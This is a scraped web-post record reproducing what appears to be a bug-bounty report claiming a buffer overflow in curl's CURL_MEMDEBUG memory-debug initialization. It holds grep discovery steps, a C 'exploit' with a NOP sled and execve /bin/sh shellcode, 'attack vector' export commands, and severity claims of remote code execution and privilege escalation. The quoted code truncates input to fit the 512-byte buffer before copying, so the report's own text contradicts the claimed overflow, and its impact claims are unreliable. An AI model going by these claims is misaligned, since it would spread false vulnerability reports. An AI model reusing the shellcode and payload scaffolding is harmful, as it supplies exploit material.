{“lastseen”:”2025-10-22T22:25:45″,”description”:”Discovery Method\\nStep 1: Initial Security Scan\\n“`\\n# Find all files using dangerous string functions\\nfind src\/ -name \\”*.c\\” -exec grep -l \\”strcpy\\\\|strcat\\\\|sprintf\\\\|gets\\” {} \\\\;\\n\\n# OUTPUT:\\n# src\/tool_progress.c\\n# src\/tool_main.c\\n“`\\n\\nStep 2: Locate Vulnerable Code in Main.c\\n“`\\n# Find exact strcpy usage in tool_main.c\\ngrep -n \\”strcpy\\” .\/src\/tool_main.c\\n\\n# OUTPUT:\\n# 122: strcpy(fname, env);\\n“`\\n\\nStep 3: Analyze the Vulnerable Function\\n“`\\n# View complete memory_tracking_init function\\nsed -n ‘\/^static void memory_tracking_init\/,\/^}\/p’ .\/src\/tool_main.c\\n“`\\n\\nVulnerable Function Found:\\n“`\\nstatic void memory_tracking_init(void)\\n{\\n char *env;\\n \/* if CURL_MEMDEBUG is set, this starts memory tracking message logging *\/\\n env = curl_getenv(\\”CURL_MEMDEBUG\\”);\\n if(env) {\\n \/* use the value as filename *\/\\n char fname[512];\\n if(strlen(env) \\u003e= sizeof(fname))\\n env[sizeof(fname)-1] = ‘\\\\0’; \/\/ Truncation occurs\\n strcpy(fname, env); \/\/ \u26a0\ufe0f VULNERABLE LINE 122\\n curl_free(env);\\n curl_dbg_memdebug(fname);\\n }\\n}\\n“`\\n\\nStep 4: Analyze Input Source\\n“`\\n# Find environment variable usage\\ngrep -n \\”CURL_MEMDEBUG\\” .\/src\/tool_main.c\\n\\n# OUTPUT confirms user-controlled input source\\n“`\\n\\nStep 5: Buffer Declaration Analysis\\n“`\\n# Find fname buffer declaration\\ngrep -B 10 \\”strcpy(fname, env)\\” .\/src\/tool_main.c | grep -E \\”char.*fname\\”\\n\\n# OUTPUT:\\n# char fname[512];\\n“`\\n\\nVulnerability Description\\nRoot Cause\\nThe memory_tracking_init() function in src\/tool_main.c at line 122 uses unsafe strcpy() to copy user-controlled environment variable content into a fixed-size buffer. This represents a critical security best practice violation with actual exploit potential.\\n\\nTechnical Analysis\\n“`\\n\/\/ VULNERABLE CODE PATTERN:\\nchar fname[512]; \/\/ Fixed 512-byte buffer\\nenv = curl_getenv(\\”CURL_MEMDEBUG\\”); \/\/ USER-CONTROLLED INPUT\\n\\nif(strlen(env) \\u003e= sizeof(fname))\\n env[sizeof(fname)-1] = ‘\\\\0’; \/\/ Dangerous truncation\\nstrcpy(fname, env); \/\/ LINE 122: UNSAFE strcpy()\\n“`\\n\\nCritical Security Issues\\nstrcpy() Usage – Deprecated and inherently unsafe function\\n\\nUser-Controlled Input – Environment variable attacker controlled\\n\\nTruncation Flaw – Modifies original environment variable\\n\\nFixed Buffer – No dynamic allocation based on input size\\n\\n## Impact\\n\\nSecurity Impact\\nCVSS Score: 6.5 (Medium-High)\\n\\nAttack Vector: Local (Environment Variable)\\n\\nAttack Complexity: Low\\n\\nPrivileges Required: None\\n\\nUser Interaction: Required (Set environment variable)\\n\\nPotential Consequences\\nBuffer Overflow – Memory corruption during curl initialization\\n\\nArbitrary Code Execution – Potential RCE during process startup\\n\\nDenial of Service – Crash curl during memory debug initialization\\n\\nInformation Disclosure – Stack content leakage\\n\\nPrivilege Escalation – Under specific system conditions\\n\\nAffected Components\\ncurl command-line tool memory debugging feature\\n\\nAll curl installations with CURL_MEMDEBUG environment variable set\\n\\nDevelopment and testing environments using memory debugging\\n\\nBoth Linux and Windows platforms\\n\\nExploitation\\nAttack Scenario\\n“`\\n# Hacker creates malicious environment variable\\nexport CURL_MEMDEBUG=$(python -c \\”print ‘A’*600\\”)\\n\\n# When victim runs curl:\\ncurl https:\/\/example.com\\n\\n# VULNERABILITY TRIGGERS:\\n# 1. env contains 600-byte string\\n# 2. Truncation modifies env to 511 bytes + null\\n# 3. strcpy attempts to copy into 512-byte buffer\\n# 4. POTENTIAL BUFFER OVERFLOW!\\n“`\\n\\n\\nProof of Concept Exploit\\n“`\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003cstdlib.h\\u003e\\n#include \\u003cunistd.h\\u003e\\n\\n\/\/ Simulate the exact curl vulnerability\\nvoid exploit_memory_tracking() {\\n \/\/ Simulate malicious environment variable\\n char *malicious_env = malloc(600);\\n memset(malicious_env, ‘B’, 599);\\n malicious_env[599] = ‘\\\\0’;\\n \\n printf(\\”[EXPLOIT] Creating 600-byte malicious input\\\\n\\”);\\n printf(\\”[EXPLOIT] Buffer size: 512 bytes\\\\n\\”);\\n \\n \/\/ Exact curl vulnerable code pattern\\n char fname[512];\\n \\n \/\/ curl’s truncation logic\\n if(strlen(malicious_env) \\u003e= sizeof(fname)) {\\n malicious_env[sizeof(fname)-1] = ‘\\\\0’;\\n printf(\\”[EXPLOIT] Input truncated to %zu bytes\\\\n\\”, strlen(malicious_env));\\n }\\n \\n \/\/ VULNERABLE OPERATION – same as curl\\n printf(\\”[EXPLOIT] Executing strcpy(fname, env)…\\\\n\\”);\\n strcpy(fname, malicious_env);\\n \\n printf(\\”[EXPLOIT] Copied %zu bytes into buffer\\\\n\\”, strlen(fname));\\n printf(\\”[EXPLOIT] Memory corruption potential: HIGH\\\\n\\”);\\n \\n free(malicious_env);\\n}\\n\\n\/\/ Advanced exploit with shellcode potential\\nvoid advanced_exploit() {\\n printf(\\”\\\\n[ADVANCED EXPLOIT] Testing RCE potential…\\\\n\\”);\\n \\n \/\/ Crafted payload with NOP sled and shellcode\\n char payload[600];\\n \\n \/\/ NOP sled\\n memset(payload, 0x90, 200);\\n \\n \/\/ Shellcode placeholder (execve \/bin\/sh)\\n char shellcode[] = \\n \\”\\\\x31\\\\xc0\\\\x50\\\\x68\\\\x2f\\\\x2f\\\\x73\\\\x68\\\\x68\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x89\\\\xe3\\\\x50\\”\\n \\”\\\\x53\\\\x89\\\\xe1\\\\xb0\\\\x0b\\\\xcd\\\\x80\\”;\\n \\n \/\/ Copy shellcode\\n memcpy(payload + 200, shellcode, sizeof(shellcode)-1);\\n \\n \/\/ Fill rest with return address guesses\\n memset(payload + 200 + sizeof(shellcode)-1, 0x41, 600-200-sizeof(shellcode)+1);\\n \\n printf(\\”[ADVANCED EXPLOIT] Crafted payload with shellcode\\\\n\\”);\\n printf(\\”[ADVANCED EXPLOIT] Potential for arbitrary code execution\\\\n\\”);\\n}\\n\\nint main() {\\n printf(\\”=== CURL MEMORY DEBUG EXPLOIT DEMONSTRATION ===\\\\n\\”);\\n \\n \/\/ Basic exploit\\n exploit_memory_tracking();\\n \\n \/\/ Advanced exploit\\n advanced_exploit();\\n \\n printf(\\”\\\\n[REAL-WORLD EXPLOIT COMMAND]:\\\\n\\”);\\n printf(\\”export CURL_MEMDEBUG=$(python -c \\\\\\”print ‘A’*600\\\\\\”)\\\\n\\”);\\n printf(\\”curl http:\/\/example.com\\\\n\\”);\\n \\n return 0;\\n}\\n“`\\n\\nCompile and Test Exploit\\n“`\\n# Compile the exploit\\ngcc -o curl_exploit curl_exploit.c\\n\\n# Run exploitation demonstration\\n.\/curl_exploit\\n\\n# Expected output:\\n# [EXPLOIT] Creating 600-byte malicious input\\n# [EXPLOIT] Buffer size: 512 bytes\\n# [EXPLOIT] Input truncated to 511 bytes\\n# [EXPLOIT] Executing strcpy(fname, env)…\\n# [EXPLOIT] Memory corruption potential: HIGH\\n“`\\n\\nReal-World Attack Vectors\\n“`\\n# 1. Simple DoS Attack\\nexport CURL_MEMDEBUG=$(python -c \\”print ‘A’*1000\\”)\\ncurl https:\/\/example.com\\n# Result: Segmentation fault during initialization\\n\\n# 2. Memory Corruption Attack \\nexport CURL_MEMDEBUG=$(python -c \\”print ‘\\\\x90’*500 + ‘SHELLCODE’\\”)\\ncurl https:\/\/example.com\\n# Result: Potential code execution\\n\\n# 3. Information Disclosure\\nexport CURL_MEMDEBUG=$(python -c \\”print ‘A’*511 + ‘SECRET’\\”)\\ncurl https:\/\/example.com\\n# Result: Stack memory leakage\\n“`\\n\\nWhat Hackers Can Achieve\\nRemote Code Execution – Execute arbitrary code during curl startup\\n\\nPrivilege Escalation – Gain elevated privileges on system\\n\\nDenial of Service – Crash curl instantly on startup\\n\\nInformation Theft – Leak sensitive memory contents\\n\\nPersistence – Install backdoors or malware\\n\\nRecommendation\\nImmediate Fix\\nReplace vulnerable strcpy() with secure alternative:\\n“`\\n\/\/ FIXED VERSION:\\nstatic void memory_tracking_init(void)\\n{\\n char *env;\\n env = curl_getenv(\\”CURL_MEMDEBUG\\”);\\n if(env) {\\n char fname[512];\\n \/\/ SECURE: Use strncpy with bounds checking\\n strncpy(fname, env, sizeof(fname)-1);\\n fname[sizeof(fname)-1] = ‘\\\\0’; \/\/ Ensure null termination\\n curl_free(env);\\n curl_dbg_memdebug(fname);\\n }\\n}\\n“`\\n\\nAlternative Secure Solutions\\n“`\\n\/\/ Option 1: snprintf (Most Secure)\\nsnprintf(fname, sizeof(fname), \\”%s\\”, env);\\n\\n\/\/ Option 2: memcpy with explicit bounds\\nsize_t copy_len = strlen(env);\\nif(copy_len \\u003e= sizeof(fname))\\n copy_len = sizeof(fname)-1;\\nmemcpy(fname, env, copy_len);\\nfname[copy_len] = ‘\\\\0’;\\n\\n\/\/ Option 3: curl’s own safe functions\\n\/\/ Use existing curl safe string functions if available\\n“`\\n\\nSecurity Best Practices Implementation\\nEliminate strcpy() from entire codebase\\n\\nInput Validation – validate environment variable content\\n\\nDynamic Allocation – allocate buffer based on input size\\n\\nSecurity Review – audit all environment variable usage\\n\\nWhy This is CRITICAL\\nSecurity Standards Violation\\nCWE-676: Use of Potentially Dangerous Function\\n\\nCERT C STR07-C: Use the bounds-checking interfaces\\n\\nMISRA C: strcpy() is explicitly banned\\n\\nOWASP: Unsafe function usage\\n\\nReal-World Impact\\nAttack Vector: Environment variables are common exploitation targets\\n\\nInitialization Code: Vulnerabilities during startup are particularly dangerous\\n\\nMemory Debugging: Security-critical feature should be secure by design\\n\\nThis vulnerability represents a HIGH severity security risk that should be addressed immediately in the next curl security release. The combination of user-controlled input, deprecated unsafe function, and initialization code context creates a serious security threat.”,”published”:”2025-10-22T21:30:38″,”modified”:”2025-10-22T21:56:04″,”type”:”hackerone”,”title”:”curl: Use of Deprecated strcpy() with User-Controlled Environment Variable in Memory Debug Initialization”,”source”:””,”references”:””,”id”:”H1:3395227″,”bulletinFamily”:”bugbounty”,”cwe”:null,”cvelist”:[],”sourceData”:””,”sourceHref”:””,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/hackerone.com\/reports\/3395227″,”category_name”:”News”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-10-22T22:25:45″,”description”:”Discovery Method\\nStep 1: Initial Security Scan\\n“`\\n# Find all files using dangerous string functions\\nfind src\/ -name \\”*.c\\” -exec grep -l \\”strcpy\\\\|strcat\\\\|sprintf\\\\|gets\\” {} \\\\;\\n\\n# OUTPUT:\\n# src\/tool_progress.c\\n# src\/tool_main.c\\n“`\\n\\nStep…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-22734","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n